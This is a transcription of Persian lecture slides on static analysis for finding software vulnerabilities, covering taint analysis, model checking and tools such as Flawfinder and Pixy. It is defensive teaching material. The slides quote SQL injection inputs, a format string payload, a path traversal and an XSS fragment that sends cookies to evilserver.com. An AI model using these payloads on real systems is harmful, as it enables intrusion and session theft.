تحلیل ایستا ارائه دهنده: مطهره دهقان چاچکامی دانشجوی مقطع دکتری- گرایش امنیت اطالعات پاییز 93

Size: px
Start display at page:

Download "تحلیل ایستا ارائه دهنده: مطهره دهقان چاچکامی دانشجوی مقطع دکتری- گرایش امنیت اطالعات پاییز 93"

Transcription

1 تحلیل ایستا ارائه دهنده: مطهره دهقان چاچکامی دانشجوی مقطع دکتری- گرایش امنیت اطالعات پاییز 93

2 روش های مقابله با آسیب پذیری تحلیل ایستا تحلیل پویا تحلیل ترکیبی روش های نظارتی...

3 تحلیل ایستا بررسی کد برنامه بدون اجرای آن استخراج اطالعات قضاوت درباره آن تحلیل آسیب پذیری ها شناخت یک الگوی خاص مسیر کنترلی معین

4 انطباق الگو )pattern matching( شناسایی مربوطه: ابزار الگوهای کاراکتری در کد Flawfinder تحلیل لغوی Analysis( )Lexical تبدیل کد به مجموعه ای از توکن ها ابزار مربوطه: ITS4 تحلیل ایستا پیمایش و تحلیل درخت نحو انتزاعی ( and Parsing )Abstract Syntax Tree Analysis

5 تحلیل نوع qualifier( )Type تحلیل جریان داده تعیین مقادیر ممکن برای یک متغیر در یک بررسی مدل )Model checking( تحلیل ایستا بررسی تامین مشخصه برنامه توسط مدل آن تحلیل آلودگی analysis( )taint تحلیل مسیر یک داده ورودی در برنامه برنامه

6 Pattern Matching

7 7 تحلیل ایستا- تطبیق الگو جستجوی الگویی از رشته در متن برنامه برای نمونه: هر نوع فراخوانی تابع getc Sprintf استفاده از Strcpy که بعد آن از استفاده شده

8 8 تحلیل ایستا- تطبیق الگو Flawfinder apt-get install flawfinder ITS4

9 9 تحلیل ایستا- تطبیق الگو Flawfinder این ابزار در گزارش نقص های امنیتی برای هرکدام از آن ها سطح امنیتی را نیز مشخص می نماید. ابزار Flawfinder از یک پایگاه داده داخلی که ruleset نامیده می شود استفاده می نماید تا توابعی که بطور معمول موجب نقص های امنیتی می شوند را تشخیص دهد. این ابزار برای تشخیص آسیب پذیری سرریز بافر توابع زیر را در نظر می گیرد: strcpy(), strcat(), gets(), sprintf(), and the scanf() family برای تشخیص آسیب پذیری فرمت رشته نیز توابع زیر را در نظر می گیرد: [v][f]printf(), [v]snprintf(), and syslog()

10 11 تحلیل ایستا- تطبیق الگو

11 12 تحلیل ایستا- تطبیق الگو

12 13 تحلیل ایستا- تطبیق الگو

13 Lexical Analysis

14 تحلیل ایستا - تحلیل لغوی کامپایل برنامه و رودی ب رنامه که به زبان سطح باال نوش تته ش تده اس تت ا ز منب تع د ریا ف تت ش تده و خط تای ا تم تا لی )خطاهای لغوی و نحوی( کشف و رفع می شوند.

15 تحلیل ایستا - تحلیل لغوی اولین فاز از کامپایل برنامه تحلیل لغوی آن است که در آن برنامه ورودی به صورت کاراکتر به کاراکتر دریافت می شود. در این مر له عملیات زیر انجام می شود: الف( تشخیص توکن ها و ارسال آن ها به مر له بعدی)تحلیل نحوی( توکن به هر لغت تشخیص داده شده در تحلیل لغوی گفته می شود. توکن ها شامل موارد زیر هستند: شناسه ها- Identifiers عملگرها- Operators مثل عملگرهای محاسباتی رابطه ای و منطقی کلمات کلیدی- words Key ثابت ها- Constants مثال String, Integer, Double, Char, جداکننده ها- Delimiters

16 تحلیل ایستا - تحلیل لغوی ب( تشخیص و ذف توضیحات) comments ( ج( تشخیص و ذف فضاهای خالی )Spaces( ITS4, نکته 1 : ابزار تحلیل لغوی اسکنر )Scanner(.RATS نامیده می شود همانند

17 تحلیل ایستا - تحلیل لغوی اسکنرها خطاهای زیادی را نمی توانند تشخیص دهند زیرا دیدگاه محلی نستبت بته برنامه دارند به عبارتی برنامه مبدأ را به صورت کاراکتر به کاراکتر می خوانند بعنوان مثال در عبارت زیر اسکنر نمی تواند تشخیص دهد که if بصورت غلط نوشتته شده است )fi( و آن را بعنوان یک شناسه معتبر به پارسر تحویل می دهد و کنترل این قبیل خطاها را به پارسر و مولفه های بعد آن محول می سازد. Fi(x==f(x))

18 تحلیل ایستا - تحلیل لغوی اگر رشته ای از کاراکترها با الگوی هیچیک از توکن ها مطابقت نداشته باشتد در ایتن صورت خطای لغوی رخ می دهد و اسکنر می بایست این قابلیت را داشته باشد که از این خطا و خطاهای دیگر گذر کرده و عمل اسکن و تحلیل لغوی را تتا پایتان فایتل ادامه دهد. وظیفه اسکنر تشخیص توکن ها می باشد و وظیفه اصلی پارسر تشخیص ایتن استت که رشته توکن های تولید شده توسط اسکنر آیا توسط قواعد زبان قابل تولید هستند یا نه.

19 تحلیل ایستا - تحلیل لغوی a := x + y * 2.5 ; a id (identifier) =: assign operation x id (identifier( + add op y id (identifier ( * mul op 2.5 literal (float num( ; semi

20 21 تحلیل ایستا - تحلیل لغوی ابزار ITS4 استفاده از پایگاه داده آسیب پذیری تشخیص سرریز بافر و TOCTOU درنظر نگرفتن دستوری که برنامه نویس آن را آسیب پذیر نمی داند. Strcpy(buf,dst); // ITS4: ignore

21 22 تحلیل ایستا- تحلیل لغوی این ابزار دارای مثبت کاذب فراوان می باشد. بعنوان مثال در زیر نمونه ای از برنامه C فاقد آسیب پذیری سرریز بافر آورده شده است:

22 Parsing and AST Analysis

23 تحلیل ایستا - Analysis Parsing and AST پس از تشخیص توکن ها و ارسال آن به مر له ی تحلیل نحوی در این مر له نحوه کنار هم قرار گرفتن توکن ها مورد بررسی قرار می گیرد. معیار بررسی گرامر مربوط به زبان کامپایلر متی باشتد. بته عبتارت دیگتر در مر لته تحلیل نحوی بررسی می شود رشته های تشخیص داده شده عضو زبان کامپایلر مورد نظر هستند یا خیر. در تحلیل نحوی از درخت تجزیه Tree( )Parse زبان استفاده می شود. بترای تعیتین عضتویت رشتته در

24 تحلیل ایستا - Analysis Parsing and AST نکته 2 : ابزار تحلیل نحوی پارسر نامیده می شود. وظایف پارسر عبارت است از: دریافت دنباله ی توکن ها از اسکنرها بررسی نحوه قرارگیری توکن ها طبق گرامر زبان کامپایلر تولید درخت تجزیه( Tree (Parse و سپس درخت نحو( AST ) تشخیص گزارش و ترسیم خطاهای نحوی به روش های مختلف درج نوع داده ای توکن ها در جدول نمادها ارسال درخت نحو نهایی به مر له بعد )تحلیل گر معنایی(

25 تحلیل ایستا - Analysis Parsing and AST براساس مثال بیان درخت شده تجزیه آن به صورت زیر می باشد. a := x + y * 2.5 ;

26 Parsing and AST Analysis -Zhedong and et. al Zhendong SU, Gary Wasserman: The Essence of Command Injection Attacks in Web Application, Proceeding POPL 06 Conference record of the 33rd ACM SIGPLAN-SIGACT symposium on Principles of programming languages, Pages in

27 Parsing and AST Analysis -Zhedong and et. al This paper presents the first formal definition of command injection attacks in the context of web applications, and gives a sound and complete algorithm for preventing them based on context-free grammars and compiler parsing techniques. Our definition and algorithm are general and apply to many forms of command injection attacks. We use one common kind of such attacks to illustrate the problem, namely the SQL command injection attacks (SQLCIA).

28 Parsing and AST Analysis -Zhedong and et. al An SQLCIA injection attack occurs when a malicious user, through specifically crafted input, causes a web application to generate and send a query that functions differently than the programmer intended. query = "SELECT * FROM accounts WHERE name = " + request.getparameter("name") + AND password= " + request.getparameter("pass") + "; SELECT * FROM accounts WHERE Name = badguy AND password= OR a = a

29 Parsing and AST Analysis -Zhedong and et. al This paper makes the following contributions: A formal definition of a web application, and in that context the first formal definition of an SQLCIA. An algorithm for preventing SQLCIAs, along with proofs of its soundness and completeness.

30 Parsing and AST Analysis -Zhedong and et. al We approach the problem by addressing its cause: we track through the program the substrings from user input and constrain those substrings syntactically. The idea is to block queries in which the input substrings change the syntactic structure of the rest of the query. Such queries are command injection attacks. We track the user s input by using meta-data, displayed as ( and ) to mark the beginning and end of each input string.

31 Parsing and AST Analysis -Zhedong and et. al so that when a query is ready to be sent to the database, it has matching pairs of markers identifying the substrings from input. We call this annotated query an augmented query. we construct an augmented grammar for augmented queries based on the standard grammar for SQL queries. In the augmented grammar, the only productions in which ( and ) occur have the following form: nonterm ::= ( symbol )

32 Parsing and AST Analysis -Zhedong and et. al We use a parser generator to build a parser for the augmented grammar and attempt to parse each augmented query. If the query parses successfully, it meets the syntactic constraints and is legitimate. Otherwise, it fails the syntactic constraints and either is a command injection attack or is meaningless to the interpreter that would receive it.

33 Parsing and AST Analysis -Zhedong and et. al

34 Parsing and AST Analysis -Zhedong and et. al Formal Definition of Web Applications

35 Parsing and AST Analysis Formal Definition of Web Applications 36 A function from n-tuples of input strings to queries strings. h John, 2 i SELECT cardnum FROM ccards WHERE name = John AND cardtype = 2

36 Parsing and AST Analysis Formal Definition of Web Applications In order to motivate our definition of an SQLCIA, we return to the example JSP code. If the user inputs John as his user name and perhaps through a dropdown box selects credit card type 2 (both expected inputs), the generated query will be: SELECT cardnum FROM accounts WHERE uname= John AND cardtype=2 A malicious user may replace the credit card type in the input with 2 OR 1=1 in order to return all stored credit card numbers: SELECT cardnum FROM accounts WHERE uname= John AND cardtype=2 OR 1=1

37 SQLCIAs Informally 38

38 40 Parsing and AST Analysis Formal Definition of Web Applications Definition (SQL Command Injection Attack). Given a web application P and an input vector <i 1,..., i n >, the following SQL query: q = P (i 1,..., i n ) constructed by P is an SQL command injection attack (SQLCIA) if the following conditions hold: The query string q has a valid parse tree T q ; There exists k such that 1 k n and f k (i k ) is a substring in q and is not a valid syntactic form in T q.

39 43 SQLCIAs Formally Query q is a SQLCIA if q has a parse tree T q. For some filter f and some input i: f(i) is a substring in q and is not a VSF in T q.

40 44 Augmented Query Our goal is to track and identify the user input inside the query (in the parse tree). By augmenting the input to ( i k ) we can determine which substrings of the constructed query come from the input. Definition (Augmented Query). A query q a is an augmented query if it was generated from augmented input, i.e., q a = P (( i 1 ),..., ( i n )).

41 45 Augmented Grammar Definition (Augmented Grammar). Given a grammar G = {V, Σ, S, P } and a set U V Σ specifying the valid syntactic forms, an augmented grammar G a has the property that an augmented query q a = P (( i 1 ),..., ( i n )) is in L(G a ) iff: The query q = P (i 1,..., i n ) is in L(G); and For each substring s that separates a pair of matching ) and ( in q a, if all meta-characters are removed from s, s is a valid syntactic form in q s parse tree.

42 SQLCIA Prevention Algorithm (SQLCIA Prevention). Here are steps of our algorithm A to prevent SQLCIAs and in valid queries: 1. Intercept augmented query q a 2. Attempt to parse q a using the parser generated from G a 3. If q a fails to parse, raise an error; 4. Otherwise, if q a parses, strip all occurrences of ( and ) out of q a to produce q and output q.

43 47 Theorem Theorem (Soundness and Completeness). For all <i 1,..., i n > SQLCIA Prevention Algorithm will permit query q = P (i 1,..., i n ) iff q L(G) and q is not an SQLCIA.

44 Type Qualifier

45 49 Type Qualifier U. Shankar, K. Talwar, J. S. Foster, and D. Wagner, Detecting format string vulnerabilities with type qualifiers, in Proceedings of the 10th USENIX Security Symposium, 2001, vol. 10. (cited by: 366)

46 Type Qualifier Format string bugs arise from design misfeatures in the C standard library combined with a problematic implementation of variableargument functions. Consider a typical usage of format strings: printf("%s", buf); (correct) The first argument to printf() is a format string that specifies the number and types of the other arguments. The following innocuouslooking simplification of the above call can be dangerous: printf(buf); (may be incorrect!) buf = <data-from-network> buf = %s%s%s%s%s %n

47 Type Qualifier The main contribution of this paper is to describe a system for automatically detecting format string bugs at compile-time. To find format string bugs, we use a type qualifier system with two qualifiers, tainted and untainted. We mark the types of values that can be controlled by an untrusted adversary with tainted. All other values are given types marked untainted.

48 Type Qualifier Examples of qualified types are int, tainted int, untainted char * (a pointer to an untainted character), and char untainted * (an untainted pointer to a character). The key idea behind our framework is that type qualifiers naturally induce a subtyping relationship on qualified types. The notion of subtyping most commonly appears in object-oriented programming. In Java, for example, if B is a subclass of A (which we will write B < A ), then an object of class B can be used wherever an object of class A is expected.

49 The Basic Idea 53

50 54 Qualifier Subtyping Rule Putting these two examples together, we have the following subtyping relation: untainted int < tainted int This is a natural-deduction style inference rule. In general, an inference rule says that if the statements above the line are true, then the statements below the line are also true.

51 Qualifier Subtyping Rule For pointer types, we need to be a little careful. Naively, we might expect to use the following rule for pointers: Here the type Q1ptr(T1)is a pointer to type T1, and the pointer is qualified with Q1. Note that T1 represents an extended C type, and thus may itself be decorated with tainted/untainted qualifiers.

52 Qualifier Subtyping Rule The rule (Wrong) says that if Q 1 <= Q 2 in the lattice and T 1 is a subtype of T 2, then we can conclude that Q 1 ptr(t 1 )is a subtype of Q 2 ptr(t 2 ). Unfortunately, this turns out to be unsound, as illustrated by the following code fragment: tainted char *t; untainted char *u; t = u; /* Allowed by (Wrong) */ *t = <tainted data>; /* Oops! This writes tainted data into untainted buffer *u */

53 Qualifier Subtyping Rule This is a well-known problem, and the standard solution, which is followed by cqual, is to use the following rule: The key restriction here is that 1= 2. Intuitively, this restriction says that any two objects that may be aliased must be given exactly the same type. 1 In particular, if 1 and 2 are decorated with qualifiers, the qualifiers must themselves match exactly, too.

54 Type Qualifier Our tool is, cqual which the main input to the tool is the preprocessed C code the user wishes to analyze. The user also provides two types of configuration files to customize cqual to the particular checking task. The lattice file describes the type qualifiers the user is interested in. The prelude files contain annotated function declarations that override the declarations in the source being analyzed.

55 Type Qualifier

56 Type Qualifier

57 Data Flow Analysis

58 65 تحلیل ایستا - تحلیل جریان داده تکنیکی به منظور جمع آوری اطالعات درباره مجموعه متغیرها در نقاط مختلف برنامه استفاده از CFG برای بررسی نقاط مختلف برنامه در سطح بلوک پایه استفاده از اطالعات جمع آوری شده توسط کامپایلر برای بهینه سازی برنامه

59 66 تحلیل ایستا - تحلیل جریان داده مجموعه :in شامل اطالعاتی که وارد بلوک پایه می شوند. مجموعه :gen شامل اطالعات تولید شده در بلوک پایه مجموعه :kill شامل اطالعاتی که با توجه به عمل انجام شده در بلوک پایه ذف می شوند. مجموعه :out شامل اطالعاتی که از بلوک پایه خارج می شوند.

60 67 تحلیل ایستا - تحلیل جریان داده out[ S] gen[ S] ( in[ S] kill[ S]) s: دستور s اطالعات وارد شونده به :in[s] s اطالعات ذف شده توسط :kill[s] s اطالعات جدید تولید شده توسط :gen[s] s اطالعات خارج شوند توسط :out[s]

61 68 تحلیل ایستا - تحلیل جریان داده نقطه در بلوک پایه: محل بین دو دستور متوالی محل قبل از اولین دستور در بلوک پایه محل بعد از آخرین دستور در بلوک پایه مسیر: یک مسیر از نقطه p 1 به p n توالیی از نقطه های p 1, p 2, p n می باشد بطوری که برای هر i n 1 داریم: p i+1 p i p i یک نقطه است که قبل از یک دستور و 1+i p یک نقطه بالفاصله بعد از آن دستور است. )در همان بلوک پایه( یا: آخرین نقطه در یک بلوک پایه و اولین نقطه در بلوک پایه مابعد باشد.

62 69 تحلیل ایستا - تحلیل جریان داده p 3 p 4 d 1 : i := m 1 d 2 : j := n d 3 : a := u 1 d 4 : i := i + 1 B 1 B 2 مسیر: p 1, p 2, p 3, p 4, p 5, p 6 p n p 5 p 6 d 5 : j := j - 1 B 3 B 4 p 1 p 2 d 6 : a := u 2 B 5 B 6 p n

63 70 Reaching Definition تعریف یک متغیر x دستوری است که سبب انتساب یک مقدار به متغیر x می گردد. مانند: انتساب های به x خواندن یک مقدار از وسایل I/O و قرار دادن در x

64 71 Reaching Definition یک تعریف d به یک نقطه p می رسد اگر: مسیری از نقطه بالفاصله قبل d به نقطه p وجود داشته باشد و d در طول این مسیر ذف )kill( نشده باشد.

65 72 Example: Reaching Definition d 1 : i := m 1 d 2 : j := n d 3 : a := u 1 B 1 Definition of i (d 1 ) reaches p 1 p 1 p 2 d 4 : i := i + 1 d 5 : j := j - 1 B 2 B 3 B 4 Killed as d 4, does not reach p 2. Definition of i (d 1 ) does not reach B 3, B 4, B 5 and B 6. d 6 : a := u 2 B 5 B 6

66 73 تحلیل ایستا - تحلیل جریان داده H. Kim, T. H. Choi, S. C. Jung, H. C. Kim, O. Lee, and K. G. Doh, Applying Dataflow Analysis to Detecting Software Vulnerability, in Advanced Communication Technology, ICACT th International Conference on, 2008, vol. 1, pp

67 H. Kim et al. Our vulnerability detector consists of three parts: syntactic pattern matcher flow graph constructor flow analyzer روش The detector takes program source code and the set of pattern rules which describes the simple and flow patterns of software vulnerability. The detector first finds program points that match the syntactic patterns appeared in the simple pattern rules. Second, it extracts control flow and data flow of the input code. Finally, it finds program parts that have execution paths which violate the flow pattern rules.

68 76 معماری روش al. H. Kim et

69 روش al. H. Kim et Pattern Matcher The vulnerabilities which can be described as simple patterns in the rules are the calls of dangerous functions, the absence of necessary methods, dangerous class hierarchies, dangerous empty exception handlers, etc. The pattern matcher finds program points that match simple patterns expressed in the language. We formally define the pattern matcher "pm" as follows: pm : Pattern 2 Loc where Pattern is the set of simple patterns and Loc denotes the set of program points. The pattern matcher takes a program and a pattern, and gives the set of program points that match the pattern.

70 روش al. H. Kim et Example: the Java Language Specification suggests that it is a good practice for a finalize () method to call super. finalize () We can express this statement in our language of simple patterns as follows. (reference super (function finalize() )) in Finalize The pattern matcher "pm" first finds the locations of definition of finalize method, and then checks for each location whether its bodies has the invocation of "super.finalize()".

71 روش al. H. Kim et Flow Graph Constructor: In order to find program parts that match a semantic flow-pattern, we first extract the control-flow and the data-flow from input program. Both flows can be considered as graphs whose nodes are program points: E Loc Loc (Loc, E) where edges. We write the control-flow graph as (Loc, E CF ) and the dataflow graph (Loc, E DF ).

72 روش al. H. Kim et Flow Analyzer: Pattern p denotes a simple syntactic pattern mentioned before. Forward arrows ( and =>) are used for forward flows and backward ones for backward flows. Single arrows ( and ) denote that at least one flow from p reaches f, and double arrows denote that every flow from p reaches f. Each arrow has a flow type which denotes that the flow is control flow (CF) or dataflow (DF).

73 روش al. H. Kim et Example: statement "every allocated memory cell must be disposed" can be expressed in our flow pattern as: assign $1 (function malloc($_ )) =>CF function free($1) where $1 and $_ denote holes which match any identifier. Since we use a double arrow, the flow pattern means that every control flow from ma11oc reaches free.

74 Model Checking

75 Model Checking

76 84 Model Checking - Hao Chen and et. al Hao Chen and David Wagner, MOPS: an Infrastructure for Examining Security Properties of Software, Proceedings of the 9 th ACM conference on Computer and Communications Security 2008, Pages

77 Model Checking - Hao Chen and et. al In this paper, we focus on detecting violations of ordering constraints, also known as temporal safety properties. A temporal safety property dictates the order of a sequence of securityrelevant operations. Our experience shows that many rules of good programming practice for security programs can be described by temporal safety properties. Although violating such properties may merely indicate risky features in a program in some cases, it often renders the program vulnerable to attack, depending on the nature of the violation.

78 Model Checking - Hao Chen and et. al To illustrate the relevance of such temporal safety properties, we give next a few examples that reflect prudent programming practice for Unix applications. Property 1. Suppose a process uses the chroot system call to confine its access to a sub filesystem. In this case, the process should immediately call chdir( / ) to change its working directory to the root of the sub filesystem.

79 Model Checking - Hao Chen and et. al

80 Model Checking - Hao Chen and et. al This rule can be described by the temporal safety property that any call to chroot should be immediately followed by a call to chdir( / ). The program in Figure 1(b) violates this property: it fails to call chdir( / ) after chroot( /var/ftp/pub ), so its current directory remains /var/ftp. As a result, a malicious user may ask the program to open the file../../etc/passwd successfully even though this is outside the chroot jail and the programmer probably intended to make it inaccessible.

81 Model Checking - Hao Chen and et. al Property 2. A call to stat(f ) should not be followed immediately by a call to open(f ).

82 Model Checking - Hao Chen and et. al Before explaining this property, we give some background. In Unix systems, each process has an effective user ID (euid ), which determines the file access permission of the process. Consider a privileged process that runs on behalf of a normal user and that wants to constrain itself to access only files owned by the normal user. A naïve implementation involves two steps: (1) call stat( foo ) to identify the owner of the file foo; (2) only open the file if it is owned by the current user.

83 Model Checking - Hao Chen and et. al This strategy, however, is insecure because of a race condition Suppose the filename foo in the variable logfile initially is a symbolic link to a file owned by the attacker. When stat(logfile, &st) is called, the program verifies that the attacker is the owner of the file. But before the program proceeds to open the file by calling open(logfile, O RDWR), the attacker changes foo to be a symbolic link to /etc/passwd, a file that should not be writable to him.

84 Model Checking - Hao Chen and et. al

85 Model Checking - Hao Chen and et. al Property 3. Since a privileged process has full access permission to the system, it should not make certain system calls that run untrusted programs without first dropping all privileges (thereby granting them with full access permission to the system).

86 Model Checking - Hao Chen and et. al The temporal safety properties listed above encode some of these requirements in an explicit form. To reduce the risk of security vulnerabilities we would like to verify that these security properties are all satisfied. Although checking temporal safety properties by hand is feasible in small programs, it does not scale to large programs because the sequence of operations in a property may span multiple functions or files in a program.

87 the path [d0d2d3d4] in the function drop_privilege drops privilege, but the path [d0d1] fails to do so.

88 So the path [m1d0d2d3d4m2m3] satisfies Property 3, but the path [m1d0d1m2m3] violates it.

89 Model Checking - Hao Chen and et. al These types of path-dependent errors are common in programs, but such inter procedural errors are difficult to discover with testing or manual review, especially if the caller and callee are in different source files. As a result, we conclude that automated tools to help with this task are needed.

90 Model Checking - Hao Chen and et. al In this paper, we describe an automated approach to help examine security-related temporal safety properties (abbreviated as security properties henceforth) in software. We have built MOPS, a program analysis tool that allows us to make these properties explicit and to verify whether they are properly respected by the source code of some application.

91 Taint Analysis

92 102 تحلیل ایستا - تحلیل آلودگی در تحلیل آلودگی مقادیر فراهم شده توسط منابع ورودی ناامن آلوده در نظر گرفته می شود و با ردیابی این جریان داده آلوده به تشخیص آسیب پذیری می پردازد. یک تحلیل جریان داده است و می تواند در سطح رشته و یا کاراکترهای آن باشد. سه مورد زیر باید تعیین شوند: چه چیزی آلوده است )مشخص کردن منابع ناامن( هر مقدار مشتق شده از داده آلوده که خود آلوده است. تعیین نقاطی از برنامه که ساس به آسیب پذیری هستند. مانند فره )Sink( در متن برنامه کاربردی وب

93 103 تحلیل آلودگی منابع ناامن فایل ها ( *.html, )*.mp3, *.pdf, پروتکل های شبکه ( DNS, )HTTP, UDP, ورودی ها صفحه کلید ماوس صفحه لمسی وب کم USB

94 104 تحلیل آلودگی Sink دستورهای ساس به آسیب پذیری در برنامه کاربردی: فره )sink( توابعی که موجب ساخت و ارسال query به سوی پایگاه داده می شوند تابع Mysql_query بعنوان فره آسیب پذیری SQL injection mysql_query("select * FROM users WHERE name= $_GET[name] AND pw= $_GET[pw] "); SELECT * FROM users WHERE name= AND pw= OR name= admin توابعی که موجب ارسال خروجی به سوی پایگاه داده می شوند print و echo مانند بعنوان فره آسیب پذیری XSS echo "You searched for ". $_GET[ s ]; = evilserver.com/steal.php? +document. Cookie</script>

95 105 تحلیل آلودگی N. Jovanovic, C. Kruegel, and E. Kirda, Pixy: A Static Analysis Tool for Detecting Web Application Vulnerabilities (Short Paper), in Proceedings of the 2006 IEEE Symposium on Security and Privacy, Washington, DC, USA, 2006, pp (cited by: 255)

96 106 تحلیل آلودگی- ابزار Pixy تحلیل ایستا تحلیل آلودگی در سطح رشته

97 107 تحلیل آلودگی- ابزار Pixy

98 تحلیل ایستا- تحلیل آلودگی در تحلیل آلودگی موارد زیر وجود دارد: در عملگر تساوی درصورتی که متغیر سمت راست تساوی آلوده باشد متغیر سمت چپ نیز آلوده است. اگر یکی از پارامترهای تابع آلوده باشد خروجی آن نیز آلوده است. در برخی از روش ها اگر شرط یک انشعاب آلوده باشد متغیری که در بدنه آن دستور شرطی مقدار می پذیرد نیز آلوده فرض می شود.

99 تحلیل آلودگی- مثال i = get_input(); two = 2; if (i %2 == 0){ j = i+two; l = j; } else { k = two*two; l = k; } jmp l; در کد روبرو تابع get_input() بعنوان منبع ورودی و دستور Jmp l بعنوان دستور ساس به آسیب پذیری ( فره( در نظر گرفته می شود. False k = two*two; l = k; i = get_input(); two = 2; if (i %2 == 0){ True j = i+two; l = j; jmp l;

100 111 تحلیل آلودگی - مثال متغیر وضعیت آلودگی False i = get_input(); two = 2; if (i %2 == 0){ True T F i two k l k = two*two; l = k; j = i+two; l = j; jmp l;

101 112 تحلیل آلودگی - مثال متغیر وضعیت آلودگی False i = get_input(); two = 2; if (i %2 == 0){ True T F F F i two k l k = two*two; l = k; j = i+two; l = j; jmp l;

102 113 تحلیل آلودگی - مثال متغیر وضعیت آلودگی False i = get_input(); two = 2; if (i %2 == 0){ True T F T T i two j l k = two*two; l = k; j = i+two; l = j; jmp l;

دستور خروجی. :cout این شی ء در فایل سرآیند iostream.h قرار دارد نکته: در 2008 این شی ء با افزودن ; std using namespace قابل دسترسی است.

دستور خروجی. :cout این شی ء در فایل سرآیند iostream.h قرار دارد نکته: در 2008 این شی ء با افزودن ; std using namespace قابل دسترسی است. دستور خروجی به برنامه :cout این شی ء در فایل سرآیند iostream.h قرار دارد نکته: در 2008 این شی ء با افزودن ; std using namespace قابل دسترسی است. شکل کلی :cout ;

More information

آشنایی با دستورNetStat

آشنایی با دستورNetStat آشنایی با دستورNetStat این دستور وضعیت پروتکلها و پورتهای ارتباطی TCP/IP را نمایش می دهد. در صورتی که این دستور بدون هیچ سوئیچی استفاده شود این دستور کلیه پورتها و ارتباطات خروجی فعال را نمایش می دهد.

More information

آسیب پذیري هاي تزریق SQL

آسیب پذیري هاي تزریق SQL به نام خدا دانشگاه صنعتی امیرکبیر دانشکده مهندسی کامپیوتر و فناوري اطلاعات آسیب پذیري هاي تزریق SQL CSRF و XSS اراي ه دهنده: محمود قربانزاده تحت نظر: دکتر حمید رضا شهریاري مهر 1393 ده آسیب پذیري برتر (در

More information

پایتون جهت دسترسی به دیتابیس از توابع کتابخانه ای DB-API استفاده کرده و interface هایی که برای

پایتون جهت دسترسی به دیتابیس از توابع کتابخانه ای DB-API استفاده کرده و interface هایی که برای MySQL و دسترسی به دیتابیس Python پایتون جهت دسترسی به دیتابیس از توابع کتابخانه ای DB-API استفاده کرده و interface هایی که برای اتصال به پایگاه داده و مدیریت داده های اپلیکیشن بایستی پیاده سازی شود بر

More information

حقوق مؤلف. انجمن جاواکاپ اشیاء در جاوا

حقوق مؤلف. انجمن جاواکاپ اشیاء در جاوا دن یک م م ی نجاواکاپتقد م نج ا جاوا نويسی برنامه دوره جاوا در اشیاء JAVA OBJECTS ری کب یا عل صادق حقوق مؤلف کلیه حقوق این اثر متعلق به است بازنشر یا تدریس آنچه توسط جاواکاپ و به صورت عمومی منتشر شده است

More information

بسم اهلل الرحمن الرحیم

بسم اهلل الرحمن الرحیم بسم اهلل الرحمن الرحیم آموزشگاه تحلیل داده تخصصی ترین مرکز برنامه نویسی و دیتابیس در ایران آموزش رشته ها در سی شارپ مدرس : مهندس افشین رفوآ آموزش رشته ها در سی شارپ در #C می توانید از رشته ها به عنوان

More information

حقوق مؤلف. انجمن جاواکاپ 2 تولد و مرگ اشیاء

حقوق مؤلف. انجمن جاواکاپ 2 تولد و مرگ اشیاء دن یک م م ی نجاواکاپتقد م نج ا جاوا نويسی برنامه دوره اشیاء مرگ و تولد Objects Initialization and Cleanup ری کب یا عل صادق حقوق مؤلف کلیه حقوق این اثر متعلق به است بازنشر یا تدریس آنچه توسط جاواکاپ و به

More information

مستندات کار با وب سرویس سیستم خبری نیوزویت

مستندات کار با وب سرویس سیستم خبری نیوزویت به خدا مستندات کار با وب سرویس سیستم خبری نیوزویت (Newsvit REST-API Documentation) بخش اخبار لیست اخبار list گرفتن لیست اخبار http://newsvit.ir/api/news/list?limit=8&page=3&order=&sort=asc&count=0 مرتب

More information

بسم الله الرحمن الرحیم آموزشگاه تحلیل داده تخصصی ترین مرکز برنامه نویسی و دیتابیس در ایران. آموزش Table در HTML مدرس : مهندس افشین رفوآ

بسم الله الرحمن الرحیم آموزشگاه تحلیل داده تخصصی ترین مرکز برنامه نویسی و دیتابیس در ایران. آموزش Table در HTML مدرس : مهندس افشین رفوآ بسم الله الرحمن الرحیم آموزشگاه تحلیل داده تخصصی ترین مرکز برنامه نویسی و دیتابیس در ایران آموزش Table در HTML مدرس : مهندس افشین رفوآ آموزش Table در HTML جدول های HTML به نویسندگان وب اجازه می دهند تا

More information

مرتب سازی. (sort) : ویرایش احمدرضا غدیرزاده دانشجوی رشته ی مهندسی کامپیوتر

مرتب سازی. (sort) : ویرایش احمدرضا غدیرزاده دانشجوی رشته ی مهندسی کامپیوتر مرتب سازی (sort) : ویرایش احمدرضا غدیرزاده دانشجوی رشته ی مهندسی کامپیوتر تعریف کلید بخشی از هر رکورد که مرتبسازی بر اساس آن انجام میگیرد. به طور کلی الگوریتمهای مرتبسازی را میتوان به دو گروه تقسیم کرد:

More information

حقوق مؤلف. انجمن جاواکاپ 2 رشته آرایه و چند داستان دیگر

حقوق مؤلف. انجمن جاواکاپ 2 رشته آرایه و چند داستان دیگر دن یک م م ی نجاواکاپتقد م نج ا جاوا نويسی برنامه دوره دیگر داستان چند و آرایه رشته STRING, ARRAY, AND OTHER STORIES ری کب یا عل صادق حقوق مؤلف کلیه حقوق این اثر متعلق به است بازنشر یا تدریس آنچه توسط جاواکاپ

More information

MODBUS ETHERNET و مفاهیم پایه

MODBUS ETHERNET و مفاهیم پایه MODBUS ETHERNET و مفاهیم پایه IP (network and sharing) 7 Network and Sharing Center. (Change adapter» «. settings). Properties (local adapter) : Internet Protocol Local Area Connection Properties. Properties.

More information

کامل ترین دوره های آموزش برنامه نویسی پایگاه داده معماری نرم افزار و موبایل به همراه مجموعه مقاالت و فیلم های آموزشی رایگان در:

کامل ترین دوره های آموزش برنامه نویسی پایگاه داده معماری نرم افزار و موبایل به همراه مجموعه مقاالت و فیلم های آموزشی رایگان در: کامل ترین دوره های آموزش برنامه نویسی پایگاه داده معماری نرم افزار و موبایل به همراه مجموعه مقاالت و فیلم های آموزشی رایگان در: www.tahlildadeh.com استفاده از این مطالب با ذکر منبع بال مانع است. شی SqlCommand

More information

بر روی هر یک از تجهیزاتی که از پروتکل IP/TCP پشتیبانی می کنند به ۲ طریق می توان Address IP تنظیم کرد.

بر روی هر یک از تجهیزاتی که از پروتکل IP/TCP پشتیبانی می کنند به ۲ طریق می توان Address IP تنظیم کرد. بر روی هر یک از تجهیزاتی که از پروتکل IP/TCP پشتیبانی می کنند به ۲ طریق می توان Address IP تنظیم کرد. Static Dynamic - - حتما تمامی خوانندگان با روش static آشنایی دارند. همان روش وارد کردن آدرس ها بصورت

More information

بسم اهلل الرحمن الرحیم

